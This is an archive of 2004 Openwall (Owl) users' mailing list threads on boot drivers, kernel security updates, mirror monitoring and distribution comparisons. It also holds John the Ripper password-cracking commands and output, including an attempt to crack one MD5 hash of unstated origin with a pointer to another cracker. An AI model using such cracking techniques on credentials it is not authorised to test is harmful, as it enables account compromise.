GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Thu, 11 Mar 2004 23:45:44 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
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On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > Marcin Siennicki wrote to owl-users@private:
> > > this time I'm asking why there are no device drivers
> > > (for SCSI controllers, NICs,...) on the CD?
[cut]
> We already had to drop some potentially useful stuff from default
> kernels on the CDs (most notably, PCMCIA and USB support) when moving
> from 2.2.x to the bigger 2.4.x kernels, also adding support for ext3.
[cut]
> A better approach might be to move all the disk controller drivers
> into the 1.44 MB floppy image (either compile them into the kernel
> like we do now or start using initrd), but to make that possible at
> the same time remove all non-essential non-disk drivers and even
> entire kernel subsystems into modules available only on the CD (not in
Well, perhaps the long-time goal would be to support initrd, and during the
installation to generate a proper initrd with required drivers (like
"mkinitrd"(8) does on RH). This require significant developer time, though.
> There's really no room to add many more drivers with the current
> approach. Well, maybe if we switch to using 2.88 MB "floppies", but
> that would kill support for systems which can't boot off a CD and
> actually require one to produce a boot floppy.
I'd like to keep the ability to boot from floppy, it is useful in many
situations.
> > some (conflicting like 3COM 3c5x9 and 3c90x)
>
> I'm not sure you're correct about this pair of drivers. CONFIG_EL3
> (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
They can be both compiled in the kernel - which is in fact a bug in kernel
config. I once experienced a situation when 3c90x driver claimed the
resources of a 3c59x card (because PCI IDs are similar enough), which resulted
in non-functional eth0.
> There're many good things to do...
So much to do, so little time - sounds like a quotation, but I don't
remember the source :)
RW
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Date: Fri, 12 Mar 2004 03:37:18 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312003718.GA1688@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private>
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On Thu, Mar 11, 2004 at 11:45:44PM +0100, Rafal Wojtczuk wrote:
> On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > A better approach might be to move all the disk controller drivers
> > into the 1.44 MB floppy image (either compile them into the kernel
> > like we do now or start using initrd), but to make that possible at
> > the same time remove all non-essential non-disk drivers and even
> > entire kernel subsystems into modules available only on the CD
>
> Well, perhaps the long-time goal would be to support initrd,
I'm not sure what this would help with. If we use initrd for disk
controller drivers, the initrd image would need to be fit in a floppy
image anyway (although it may be a second floppy image, but that's an
inconvenience).
You previously mentioned one valid argument in favor of initrd, namely
the ability to auto-detect the CD-ROM device name eliminating the need
for it to be chosen explicitly in LILO.
> and during the
> installation to generate a proper initrd with required drivers (like
> "mkinitrd"(8) does on RH).
What for? Would the final installed system continue using initrd?
> > > some (conflicting like 3COM 3c5x9 and 3c90x)
> >
> > I'm not sure you're correct about this pair of drivers. CONFIG_EL3
> > (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> > enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
> They can be both compiled in the kernel - which is in fact a bug in kernel
> config. I once experienced a situation when 3c90x driver claimed the
> resources of a 3c59x card (because PCI IDs are similar enough), which resulted
> in non-functional eth0.
Hmm. I thought that _both_ 3c90x and 3c59x are supported by the
driver enabled with CONFIG_VORTEX. This is what the description for
that configuration option says. Is that not correct?
--
/sd
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Date: Fri, 12 Mar 2004 02:16:19 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312011619.GA23325@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private> <20040312003718.GA1688@private>
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On Fri, Mar 12, 2004 at 03:37:18AM +0300, Solar Designer wrote:
> On Thu, Mar 11, 2004 at 11:45:44PM +0100, Rafal Wojtczuk wrote:
> > On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > > A better approach might be to move all the disk controller drivers
> > > into the 1.44 MB floppy image (either compile them into the kernel
> > > like we do now or start using initrd), but to make that possible at
> > > the same time remove all non-essential non-disk drivers and even
> > > entire kernel subsystems into modules available only on the CD
> >
> > Well, perhaps the long-time goal would be to support initrd,
>
> I'm not sure what this would help with. If we use initrd for disk
> controller drivers, the initrd image would need to be fit in a floppy
Ah, right. As regards space requirements, it's the same.
> > and during the
> > installation to generate a proper initrd with required drivers (like
> > "mkinitrd"(8) does on RH).
>
> What for? Would the final installed system continue using initrd?
Yes, that was my intention. This would simplify the installation, removing
the need for kernel compilation, and not bloating it with all possible
drivers. But it is not that crucial, and most people want to compile a
custom kernel anyway.
>
> > > > some (conflicting like 3COM 3c5x9 and 3c90x)
> > >
> > > I'm not sure you're correct about this pair of drivers. CONFIG_EL3
> > > (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> > > enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
> > They can be both compiled in the kernel - which is in fact a bug in kernel
> > config. I once experienced a situation when 3c90x driver claimed the
> > resources of a 3c59x card (because PCI IDs are similar enough), which resulted
> > in non-functional eth0.
>
> Hmm. I thought that _both_ 3c90x and 3c59x are supported by the
> driver enabled with CONFIG_VORTEX. This is what the description for
> that configuration option says. Is that not correct?
I don't know how these drivers behave currently, and I do not have now the
card which was recognized by both drivers, so I cannot answer that; at least
in past this was a problem.
RW
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From: m.siennicki@private
Date: Fri, 12 Mar 2004 08:53:28 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312085328.A26889@private>
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On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> There's really no room to add many more drivers with the current
> approach. Well, maybe if we switch to using 2.88 MB "floppies", but
> that would kill support for systems which can't boot off a CD and
> actually require one to produce a boot floppy.
Then maybe there is enough room to add just BusLogic support
(for VMware)?
And just one more off-topic question (I'm interested what others
think about it):
Isn't a kernel with modules support disabled more secure then
a kernel with the support enabled?
Marcin
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Date: Sat, 13 Mar 2004 01:19:23 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312221923.GF24481@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private> <20040312085328.A26889@private>
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On Fri, Mar 12, 2004 at 08:53:28AM +0100, m.siennicki@private wrote:
> Then maybe there is enough room to add just BusLogic support
> (for VMware)?
Is that CONFIG_SCSI_BUSLOGIC?
Why does VMware require it?
> And just one more off-topic question (I'm interested what others
> think about it):
> Isn't a kernel with modules support disabled more secure then
> a kernel with the support enabled?
Well, if you want my opinion:
Yes, but very slightly. There're two reasons why this might make a
kernel a little more secure: this makes it somewhat harder to reliably
install kernel-level backdoors and reduces kernel code size thereby
potentially reducing the number of bugs there might be. (Of course,
this assumes that you do not compile in extra/unneeded functionality
"just in case" simply because you have disabled module support.)
But in practice, it was only the first factor which mattered some
years ago (at around 1997-1999 when lkm-based rootkits for Linux
already existed, but kmem-based ones did not), and the point is moot
these days with the widespread kmem-based rootkits. (Yes, it is
possible to patch the kernel to make kmem read-only, forcing rootkits
to resort to even more complicated and less reliable tricks.)
--
/sd
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Subject: Re: modules on the CD - yet another question
From: Marcin Siennicki <m.siennicki@private>
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W li¶cie z pi±, 12-03-2004, godz. 23:19, Solar Designer pisze:
> > Then maybe there is enough room to add just BusLogic support
> > (for VMware)?
>
> Is that CONFIG_SCSI_BUSLOGIC?
Yes.
> Why does VMware require it?
I don't know why, I'm not kernel hacker. VMware emulates
BusLogic SCSI controller for Linux virtual installations.
Probably they couldn't make IDE hard disk emulation good
enough for Linux. IDE hard disk emulation works for
FreeBSD and Windows virtual machines, but does not work
for Linux VM. BTW, VMware is very usefull tool for testing
and shaping Linux installations - for example it can see
an iso image as a plain ATAPI CD-ROM drive, and it can boot
directly from it. And it is realy fast - on my Athlon
1800XP make bzImage takes 4 minutes. Maybe somebody could
donate VMware for Owl developers?
> > Isn't a kernel with modules support disabled more secure then
> > a kernel with the support enabled?
>
> Well, if you want my opinion:
Thanks for the answer.
Marcin
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From: "andreas(at)pikeshop.com" <andreas@private>
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Subject: John the Ripper
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Hello,
i hope i right here for a john question,
i try to recover 1 md5 pasword.
$ cat md5.txt
user_39:2eed9bd8835cd1367248abab12950368
$ ./run/john -format:MD5 md5.txt
Loaded 0 passwords, exiting...
any hits?
thanks
andreas
--
ICQ:174173623
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Date: Sat, 27 Mar 2004 08:49:56 -0800
From: Brian Hatch <bri@private>
To: owl-users@private
Subject: Re: John the Ripper
Message-ID: <20040327164956.GJ3904@private>
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> i hope i right here for a john question,
>=20
> i try to recover 1 md5 pasword.
> $ cat md5.txt
> user_39:2eed9bd8835cd1367248abab12950368
>=20
> $ ./run/john -format:MD5 md5.txt
> Loaded 0 passwords, exiting...
An MD5 password in /etc/shadow format would look more like
user_39:$1$SALTSALT$MD5MD5MD5MD5MD5MD5MDMD:::::::
The $1$ indicates it's an md5 hashed password. Other
hashes exist as well, for example OpenBSD's use of
blowfish.
--
Brian Hatch PRESS ANY KEY. 'a'
Systems and SAVE CHANGES? 'n'
Security Engineer ARE YOU SURE? 'y'
http://www.ifokr.org/bri/
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From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: John the Ripper
Message-ID: <20040328124623.GA6872@private>
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On Sat, Mar 27, 2004 at 02:42:40PM +0100, andreas(at)pikeshop.com wrote:
> i hope i right here for a john question,
Actually, discussions of John the Ripper are only appropriate here if
they pertain to usage of John on Owl. But since you've already posted
the question...
> i try to recover 1 md5 pasword.
> $ cat md5.txt
> user_39:2eed9bd8835cd1367248abab12950368
>
> $ ./run/john -format:MD5 md5.txt
> Loaded 0 passwords, exiting...
You're barking up the wrong tree. The hash you have looks like it
might be a raw MD5 hash represented in hex. John does not support raw
MD5 hashes, it only supports a higher-level algorithm (originally
developed for FreeBSD, but now also used by other Unix-like systems
and Cisco IOS) that uses MD5 as an underlying cryptographic primitive.
You may want to try out MDcrack instead, see http://mdcrack.df.ru
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Mon, 19 Apr 2004 04:03:22 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
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Subject: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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Hi,
This is to announce several updates to the Openwall Linux kernel patch
and to Openwall GNU/*/Linux (Owl), all of which occurred during the
past week.
There're two updated versions of the kernel patch, Linux 2.4.26-ow1
and 2.0.40-ow1. Both are mere updates to the new kernel releases.
There're no known major security fixes added with Linux 2.4.26.
However, it may be worth noting that Linux 2.4.26 corrects information
leaks in ext3 and XFS journalling filesystems where arbitrary data
from system memory could get written into the journal. The journal
file and the raw device are normally not readable to regular users,
hence this is only an issue for setups which are specifically trying
to ensure that no sensitive data ever hits disk media (e.g., by using
encrypted filesystems and disabling swap), but which at the same time
use non-encrypted ext3 or XFS filesystems for non-sensitive data.
Linux 2.0.40 (and thus 2.0.40-ow1), compared to Linux 2.0.39-ow3,
eliminates an information leak via ICMP messages. This issue is more
serious than the one described above in that it affects almost all
setups and makes the potentially sensitive data directly available to
remote hosts, including over the Internet.
The kernel patches may be obtained at the usual location:
http://www.openwall.com/linux/
Speaking of Owl, there's a new ISO image of Owl-current dated
2004/04/18. This includes Linux 2.4.26-ow1 as the kernel and has
quite some userland packages updated since Owl 1.1. A list of major
changes made in Owl-current is available at:
http://www.openwall.com/Owl/CHANGES-current.shtml
The new Owl-current ISO may be downloaded from under
/pub/Owl/current/iso on the FTP mirrors listed at:
http://www.openwall.com/Owl/DOWNLOAD.shtml
We're also starting to make available snapshots of Owl 1.1-stable
branch under /pub/Owl/1.1-stable on the FTP mirrors. This branch
includes the post-release corrections to Owl 1.1, all of which are
documented in the change log available at:
http://www.openwall.com/Owl/CHANGES-1.1-stable.shtml
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Wed, 21 Apr 2004 14:22:11 +0200 (CEST)
From: Tomasz Grabowski <cadence@private>
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To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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>
> There're two updated versions of the kernel patch, Linux 2.4.26-ow1
> and 2.0.40-ow1. Both are mere updates to the new kernel releases.
>
> There're no known major security fixes added with Linux 2.4.26.
Yesterday, I found this advisory:
http://isec.pl/vulnerabilities/isec-0015-msfilter.txt
It states that there is a serious security hole in 2.4.25 kernel.
So, is 2.4.25-ow1 kernel immune to this vulnerabilty?
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Date: Wed, 21 Apr 2004 10:25:07 -0500
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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In response to Tomasz's question, I don't see anything that would
prevent this vulnerability in the Openwall Linux kernel patch. However,
and I'm still trying to find an answer to this myself, it may be that a
kernel that is compiled without CONFIG_IP_MULTICAST is not vulnerable.
I've been trying to poke around in the code to find an answer, but
haven't had much luck finding an answer so far (I'm not a kernel/systems
programmer by a long shot).
Steve Bremer
NEBCO, Inc.
Systems & Security Administrator
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Date: Wed, 21 Apr 2004 20:04:41 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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Hi,
Sorry for my delayed response on this.
On Wed, Apr 21, 2004 at 02:22:11PM +0200, Tomasz Grabowski wrote:
> > There're no known major security fixes added with Linux 2.4.26.
>=20
> Yesterday, I found this advisory:
> http://isec.pl/vulnerabilities/isec-0015-msfilter.txt
Yes, -- and it came out only yesterday.
A question for which I and many others do not have a good answer yet
is why this one wasn't properly propagated to the Linux distribution
vendors (even the biggest ones did not receive proper advance
notification this time) while getting fixed in the mainstream kernel.
But I want to resolve this in private discussions rather than
speculate about it.
> It states that there is a serious security hole in 2.4.25 kernel.
> So, is 2.4.25-ow1 kernel immune to this vulnerabilty?
Unfortunately, no.
You really need to update to Linux 2.4.26-ow1.
--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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Hi Steve,
On Wed, Apr 21, 2004 at 10:25:07AM -0500, Steve Bremer wrote:
> In response to Tomasz's question, I don't see anything that would
> prevent this vulnerability in the Openwall Linux kernel patch.
Correct.
> However,
> and I'm still trying to find an answer to this myself, it may be that a
> kernel that is compiled without CONFIG_IP_MULTICAST is not vulnerable.=20
Unfortunately, it does not appear so.
--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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From: "Steve Bremer" <steveb@private>
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Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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Hi,
>> However,
>>and I'm still trying to find an answer to this myself, it may be that
a
>> kernel that is compiled without CONFIG_IP_MULTICAST is not
vulnerable.
>Unfortunately, it does not appear so.
Thanks for the confirmation SD. I was hoping kernels without mcast
support weren't affected since it's an mcast related option where the
bug occurs.
Steve Bremer
NEBCO, Inc.
Systems & Security Administrator
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D
3598
http://www.openwall.com - bringing security into open computing
environments
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Date: Fri, 23 Apr 2004 06:53:55 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Cc: lwn@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
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Hi,
A few days ago, I wrote:
On Mon, Apr 19, 2004 at 04:03:22AM +0400, Solar Designer wrote:
> There're no known major security fixes added with Linux 2.4.26.
It is now public knowledge that Linux 2.4.26 does indeed fix a local
root vulnerability:
http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt
Linux 2.0.x and 2.2.x are unaffected.
Thus, if you're running a Linux 2.4.x kernel, it is highly recommended
that you upgrade to Linux 2.4.26-ow1.
The Openwall Linux kernel patch's web page and the Owl change log
entry have been updated with the vulnerability information.
Owl 1.1-stable has been updated to use Linux 2.4.26-ow1 as the kernel.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Wed, 28 Apr 2004 16:48:33 +0200
From: Andreas Ericsson <ae@private>
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Hi.
I've added the Owl mirrors to our monitoring program.
To check the status of the different mirrors, visit the link below.
Username: owl
Password: owl
https://monitor.op5.se/monitor/cgi-bin/status.cgi?hostgroup=owl%5Fmirrors&style=detail
Click the owl icon to visit a particular mirror.
The server is located in Stockholm in Sweden, in case anybody was
wondering why response times seem weird.
--
Mvh / Best Regards
Andreas Ericsson
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
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Date: Wed, 28 Apr 2004 23:16:08 +0400
From: Solar Designer <solar@private>
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Subject: Re: Mirror Monitoring
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Hi,
On Wed, Apr 28, 2004 at 04:48:33PM +0200, Andreas Ericsson wrote:
> I've added the Owl mirrors to our monitoring program.
>
> To check the status of the different mirrors, visit the link below.
>
> Username: owl
> Password: owl
> https://monitor.op5.se/monitor/cgi-bin/status.cgi?hostgroup=owl%5Fmirrors&style=detail
Looks nice and may be quite useful.
Would it be possible to also make this available via http:// and not
just https:// (the certificate is signed by your private CA so can't
be verified anyway and only causes warning messages from browsers; and
there's no private information in there anyway).
Also, it'd be great if no login was required to access that page, --
I would then be able to conveniently link it from the Openwall mirrors
web page.
> The server is located in Stockholm in Sweden, in case anybody was
> wondering why response times seem weird.
They don't seem weird to me.
P.S. When you post to this mailing list, please do so from your
subscribed e-mail address. Otherwise, your messages get queued for
moderation and might get lost in the piles of spam that I receive.
(I've just added the e-mail address you've posted this from to the
allow list, but anyway...)
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Subject: Question: John The Ripper and Word-list issues with Windows versions
To: owl-users@private
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From: Luke.K.Franzelas@private
Date: Thu, 29 Apr 2004 10:39:38 -0400
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I am new at this so please don't be brutal :)
I have searched the Openwall page for a JTR faq and I'm either blind or
this is the method of asking questions. (I am probably blind) I hope this
is the appropriate forum to ask my question.
I have downloaded and installed the john-16W zipped version of JTR. The
brute force method that runs by typing "john.exe <passwordfile> seems to
run fine.
However, when I want to do just a dictionary check I type this command
"john.exe -w:<wordfile> <passwordfile> I get the following output:
john.exe -w:english.txt passshadow.txt
Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K])
guesses: 0 time: 0:00:00:01 100% c/s: 126501 trying: z's - zygote
It seems that only the tail end of the wordlist is being used against the
passwordfile. I have tried multiple different word lists. I have even
tried removing the sections of the wordlist that were successfully
attempted and repeating. This only produced similar results by only
indicating the new tail end of the password file.
The unshadowed password and shadow file I am using is from a test box where
I know what all the passwords are. One of the passwords is "password" The
word "password" is in my english dictionary list and does not appear to be
tried against any of the accounts. When I create a new dictionary list
with just the word "password" in it the user account is cracked. So it
appears that the entire dictionary word list is not being utilized when
running the software.
Similarly when I run the follwing command the dictionary wordfile only
seems to use more of the word list but does not crack the test user account
with the simple "password." I redo the unshadow on the original passwd and
shadow files and alter the password list name to ensure that it is not
remembering the cracked passwords from earlier. The result is as follows.
john.exe -show passwordtest.txt
root:root01:0:1:Super-User:/:/sbin/sh
(it seems that it remembers the root password crack)
1 password cracked, 4 left
john.exe -w:english.txt -rules passwordtest.txt
Loaded 4 passwords with 4 different salts (Standard DES [24/32 4K])
guesses: 0 time: 0:00:00:01 1% c/s: 130816 trying: ribald - risible
guesses: 0 time: 0:00:00:02 4% c/s: 130880 trying: Lobe - Loomed
guesses: 0 time: 0:00:00:03 6% c/s: 130901 trying: potholes - primeses
guesses: 0 time: 0:00:00:05 12% c/s: 130944 trying: trenchtr - turkeytu
guesses: 0 time: 0:00:00:07 14% c/s: 130962 trying: 1gab - 1gardeni
guesses: 0 time: 0:00:00:08 17% c/s: 147344 trying: cheeks2 - chuck2
guesses: 0 time: 0:00:00:10 23% c/s: 144076 trying: armada7 - assign7
guesses: 0 time: 0:00:00:12 28% c/s: 141898 trying: johann4 - kodak4
guesses: 0 time: 0:00:00:14 33% c/s: 140342 trying: voyages6 - warmly6
guesses: 0 time: 0:00:00:16 38% c/s: 139176 trying: sprints? - stared?
guesses: 0 time: 0:00:00:18 45% c/s: 138268 trying: noveD - sdnomdE
guesses: 0 time: 0:00:00:20 48% c/s: 137542 trying: Rekcup - Reifirup
guesses: 0 time: 0:00:00:22 52% c/s: 136948 trying: 2beholde - 2beryl
guesses: 0 time: 0:00:00:28 66% c/s: 135675 trying: Theory7 - Tickled7
guesses: 0 time: 0:00:00:30 71% c/s: 135364 trying: Secant8 - Serge8
guesses: 0 time: 0:00:00:32 76% c/s: 135092 trying: Pilings0 - Planets0
guesses: 0 time: 0:00:00:34 80% c/s: 134851 trying: 7owns - 7pander
guesses: 0 time: 0:00:00:36 83% c/s: 134638 trying: 5inextin - 5inkling
guesses: 0 time: 0:00:00:38 86% c/s: 134447 trying: 8erasure - 8euphori
guesses: 0 time: 0:00:00:40 91% c/s: 134275 trying: creoling - dixiing
guesses: 0 time: 0:00:00:42 100% c/s: 134090 trying: Yeshivin - Zygoting
john.exe -show passwordtest.txt
root:root01:0:1:Super-User:/:/sbin/sh
1 password cracked, 4 left
What am I doing wrong? How do I improve the output of the wordlist check
to ensure it checks all the words and catches simple passwords like
"password"?
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Date: Fri, 30 Apr 2004 20:49:14 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Cc: Luke.K.Franzelas@private
Subject: Re: Question: John The Ripper and Word-list issues with Windows versions
Message-ID: <20040430164914.GA2822@private>
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On Thu, Apr 29, 2004 at 10:39:38AM -0400, Luke.K.Franzelas@private wrote:
> I have searched the Openwall page for a JTR faq and I'm either blind or
> this is the method of asking questions. (I am probably blind) I hope this
> is the appropriate forum to ask my question.
It is not. This mailing list is limited to topics related to Openwall
GNU/*/Linux, while in your question you're talking specifically about
running John the Ripper on Windows. Although I do not think that the
problem you're running into is at all specific to the Windows build of
JtR, so I'll reply to the list this one time. But please don't send
any further follow-ups to the list.
The proper author contact address for JtR is given inside the
downloadable tarballs/zips, and intentionally not given anywhere on
the web page for JtR. I already receive too many questions on it, so
I insist that people at least download and try the thing for
themselves before e-mailing me. Unfortunately, this policy has the
side effect that we receive questions on JtR to e-mail addresses
found on other pages of the Openwall site...
> john.exe -w:english.txt passshadow.txt
> Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K])
> guesses: 0 time: 0:00:00:01 100% c/s: 126501 trying: z's - zygote
This looks correct. It means that John has tried 126501 different
candidate passwords and is done with your wordlist. The range shown
is what it was trying last (it does not try passwords one by one, but
rather in chunks of 128 or whatever it deems optimal for the algorithm
it uses for a particular hash type on a particular hardware platform).
Do not misinterpret this as the range for the entire session.
> It seems that only the tail end of the wordlist is being used against the
> passwordfile.
No.
> The unshadowed password and shadow file I am using is from a test box where
> I know what all the passwords are. One of the passwords is "password" The
> word "password" is in my english dictionary list and does not appear to be
> tried against any of the accounts. When I create a new dictionary list
> with just the word "password" in it the user account is cracked. So it
> appears that the entire dictionary word list is not being utilized when
> running the software.
This is weird. Either you're doing something wrong (and I'm quite
sure that you're, but I have no way to guess what exactly that might
be) or you've run into a bug in JtR (no, there's no known bug like
that in the version you're using).
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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From: Marek Bajon <mbajon@private>
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Hallo Owl users,
I am quite new to Owl and before I invest more time in getting to know this
distro I would like to make sure it is right for my needs. Is there a summary
showing differences (improvements) between Owl and Redhat or SuSE? I would
like to use Owl as firewall and I feel it is a good choice but can someone
help me to justify this feeling?
Best regards
Marek Bajon
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From: Marious S <arte@private>
Organization: ABC
To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
Date: Thu, 6 May 2004 09:51:14 +0300
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On Thursday 06 May 2004 01:28, Marek Bajon wrote:
> Hallo Owl users,
Greetings from a lurker who hasn't got much to say but thanks for the=20
excellent work:)
> I am quite new to Owl and before I invest more time in getting to know th=
is
> distro I would like to make sure it is right for my needs. Is there a
> summary showing differences (improvements) between Owl and Redhat or SuSE?
> I would like to use Owl as firewall and I feel it is a good choice but can
> someone help me to justify this feeling?
Just watch Owl rebuild itself when there have been some major package upgra=
des=20
or something goes wrong. That' s the one that still has me smiling every=20
day. Then try that elsewhere:) Even if Owl was insecure, that would still=
=20
be hard to beat.
Marious S.=20
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Subject: Re: How Owl is better from "other leading linux distributions"?
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Marious S wrote:
> Just watch Owl rebuild itself when there have been some major package
> upgrades
>
>or something goes wrong.
>
>
How can I see it or where can I read about it?
Marek Bajon
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From: Marious S <arte@private>
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To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
Date: Thu, 6 May 2004 12:05:14 +0300
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On Thursday 06 May 2004 11:02, Marek Bajon wrote:
> Marious S wrote:
> > Just watch Owl rebuild itself when there have been some major package
> > upgrades
> >
> >or something goes wrong.
>
> How can I see it or where can I read about it?
The Owl web site has some very nice presentations detailing Owl.=20
Marious.
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Date: Thu, 06 May 2004 11:28:53 +0200
From: Andreas Ericsson <ae@private>
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Subject: Re: How Owl is better from "other leading linux distributions"?
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Marek Bajon wrote:
> Hallo Owl users,
>
Hey.
> I am quite new to Owl and before I invest more time in getting to know this
> distro I would like to make sure it is right for my needs. Is there a summary
> showing differences (improvements) between Owl and Redhat or SuSE? I would
> like to use Owl as firewall and I feel it is a good choice but can someone
> help me to justify this feeling?
>
I don't know about SuSE, but RedHat holds convenience over security in
its priorities. Owl does not.
Most packages in a RedHat distribution have just been compiled with a
specific set of options, after being fetched from the net. While this
allows for faster development and a larger package repository, Owl
developers proactively audit the code of the packages (focusing on
kernel, networking daemons and suid programs, ofcourse). This makes Owl
a bit 'slower' to incorporate programs that are nice to have in a
distro, but on the other hand you at least know some competent coder
somewhere has taken pride in going over the source, finding and fixing
bugs while at it.
Owl has a variety of 'quirks' that makes programs work in a
securityenhanced way. For instance, every user has its own tmpdir, and
with the tcb password scheme alot of suid root binaries has been
'demoted' to sgid shadow instead, which ofcourse is far preferrable.
The RPM package format makes for great portability, and many packages
from RedHat can be installed without modifications on an Owl-system.
> Best regards
>
> Marek Bajon
>
--
Mvh / Best Regards
Sourcerer / Andreas Ericsson
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
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Date: Thu, 06 May 2004 08:06:35 -0500
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: How Owl is better from "other leading linux
distributions"?
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>>I don't know about SuSE, but RedHat holds convenience over security in
its priorities. Owl does not.
SuSE is similar.
>>Owl has a variety of 'quirks' that makes programs work in a
securityenhanced way. For instance, every user has its own tmpdir, and
with the tcb password scheme a lot of suid root binaries has been
'demoted' to sgid shadow instead, which ofcourse is far preferrable.
This is a good point, although I would call them 'features' instead of
'quirks'. ;-)
Before switching from RH to Owl, I used to have a checklist of over 100
items that I would do to each RH machine to help harden it. It was such
a pleasant surprise when I switched to Owl and discovered that most
(can't remember the exact count now) of the items in my check list were
already done. This is one of the many reasons I prefer Owl. Others
follow below:
-Easier to create a minimal install
-The choice of software for network services (vsftpd instead of
wu-ftpd, OpenSSH, postfix instead of sendmail, modified versions of
telnet and dhcpd that run with privsep, etc.)
-Many (most?) of the packages in Owl have custom patches applied to
help reduce security risks (temp file handling fixes, etc).
-The security work that the Openwall Project does benefits all Linux
distros since their security fixes are passed on to the package
maintainers. So, by supporting the Openwall Project, you are helping to
improve security for everyone who utilizes that software.
-Slow, steady, safe, reliable development cycle.
-As Andreas pointed out: "Security over features"
I hope this helps.
Steve Bremer
NEBCO, Inc.
Systems & Security Administrator
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Subject: Poldek, apt-get-like functionality for RPM
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Date: Fri, 07 May 2004 13:43:16 +0200
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Hello.
Poldek is an apt-get-like (but much more powerful and comfortable in
use) functionality for RPM packages used in PLD Linux Distribution
(http://www.pld-linux.org/). It is used mainly with RPM version 4,
but runs quite well also with rpm3 on Owl. Its homepage is at
http://www.pld.org.pl/~mis/poldek/ .
I use it on Owl for some time and it works quite fine except for some
warnings related to usage of dummy Provides:/Requires: in kernel
package. It has BuildRequires: rpm-devel >= 4.0 but it builds and
runs with rpm3 (it's not a misfeature, I consulted it with program
author and rpm3 support is intended, but it seems nobody except Owl
users uses it now, so there was nobody to test).
To build Poldek on Owl you need pcre library (working srpm is at
http://leeloo.moo.pl/srpms/) and turn off BuildRequires on rpm-devel
version in Poldek srpm (srpm with this BR turned off is also available
at LeeLoo srpms page).
To make Poldek work well, it needs rpms to live in local directory;
remote access (via HTTP or FTP) needs the indexes. As for now, I have
indexes for owl-current on my page (generated nightly from
ftp.pl.openwall.com mirror); you may use indexes from one site and
rpms from the other, so you can use my indexes with your favorite
mirror of openwall.com. Poldek also needs one entry in poldek.conf to
make it work well with rpm3 handling of Epoch: (promoteepoch).
Here's the config I use:
source1 = Owl http://leeloo.moo.pl/Owl-current-i386-RPMS/
